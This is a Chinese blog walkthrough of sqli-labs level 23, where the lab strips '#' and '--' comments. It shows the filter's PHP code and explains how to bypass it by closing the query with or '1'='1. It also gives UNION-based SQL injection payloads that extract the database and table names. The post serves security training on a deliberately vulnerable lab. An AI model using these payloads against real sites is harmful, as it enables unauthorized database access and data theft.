当前位置: 首页 > news >正文

sqli-labs靶场通关笔记:第23关 注释符过滤

一、审题

这一关开始进入了靶场的第二阶段:进阶注入。

看一下题目,乍一看和第一题很像,id传参试一试。

测试闭合方式,根据报错信息推测是单引号闭合,但是发现加了注释符后还是报错。

 二、思考

思考一下,单引号闭合,加了注释符还报错,说明注释符没有起到效果,推测注释符被过滤掉了。

悄悄查看一下源代码,果然是过滤了注释符号:

$reg = "/#/";           // 定义正则表达式,用于匹配字符 '#'
$reg1 = "/--/";         // 定义正则表达式,用于匹配连续的两个横线 '--'
$replace = "";          // 设置替换内容为空字符串,即删除匹配到的文本
$id = preg_replace($reg, $replace, $id); // 执行第一次替换:删除 $id 中所有的 '#' 字符
$id = preg_replace($reg1, $replace, $id); // 执行第二次替换:删除 $id 中所有的 '--' 字符串

我们利用注释符的目的是截断末尾,构造完整的闭合。

//源代码;
SELECT * FROM users WHERE id='$id' LIMIT 0,1//构造注释符;
SELECT * FROM users WHERE id='$id' union select 1,2,3 --+ 'LIMIT 0,1

现在的问题是,末尾的'LIMIT 0,1处理不了,这样语法就是不正确的。尝试构建完整闭合语法来实现注入。

SELECT * FROM users WHERE id='-1' union select 1,2,3 or '1' = '1 'LIMIT 0,1

这句话保持了语法完整,闭合了末尾单引号,用or构建了永真条件,'1'(字符串)比1(整数)更严谨。

三、做法

1.爆数据库名;

?id=-1'union select 1,database(),3 or '1'='1

2.爆表名;

?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() and '1'='1

3.爆字段,爆数据。

注意:在爆表名中使用and会返回当前数据库中的表,使用or会返回所有表。这是and和or存在的逻辑差异,具体情况具体使用。

http://www.dtcms.com/a/282992.html

相关文章:

  • 叉车机器人如何实现托盘精准定位?这项核心技术的原理和应用是什么?
  • 静默的田野守护者:Deepoc具身智能如何让除草机器人读懂大地密语
  • Mybatis08-使用pageHelper
  • 本地 AI 问答机器人搭建项目(Ollama + Qwen-7B + LangChain + FastAPI)
  • AI对话聊天与桌宠工具调研报告
  • 【案例分享】基于FastCAE-Acoustics软件对车门进行噪声预测
  • 移动平板电脑安全管控方案
  • 祥云系统开源云商城程序全开源版 个人程序云商城(源码下载)
  • 前端学习7:CSS过渡与动画--补间动画 (Transition) vs 关键帧动画 (Animation)
  • xss-lab1-8关
  • AdsPower 功能详解 | 应用中心使用指南:插件统一管理更高效、更安全!
  • [NOIP][C++] 树的重心
  • 精彩代码分析-1
  • 深入探讨机器学习中的过拟合:从VC维到正则化的贝叶斯视角
  • Alamofire 网络请求全流解析,通俗易懂
  • 降本增效利器:汽车制造中EtherCAT转PROFIBUS DP网关应用探析
  • Linux权限管理:玩转root与用户组
  • 前端 oidc-client 静默刷新一直提示:Error: Frame window timed out 问题分析与解决方案
  • 前端上传 各类 文件 ,前端自己解析出来 生成界面 然后支持编辑(增强版 支持大多数文件格式的在线编辑)
  • React Native 在 Web 前端跨平台开发中的优势与实践
  • Windows下编译pthreads
  • vue-router 导航式编程 参数的设置
  • 优学教育官网搭建02课程中心
  • vscode Cline接入火山引擎的Deepseek R1
  • 项目资源预算分散,如何实现协同整合?
  • orfeotoolbox ResetMargin
  • 《小白学习产品经理》第五章:方法论之波士顿矩阵
  • Linux中的GDB的作用与GCC的区别
  • 设计一款用于捕捉动态产品视频的摄像机器人
  • 《透视定轴:CSS 3D魔方中视觉层级的秩序法则》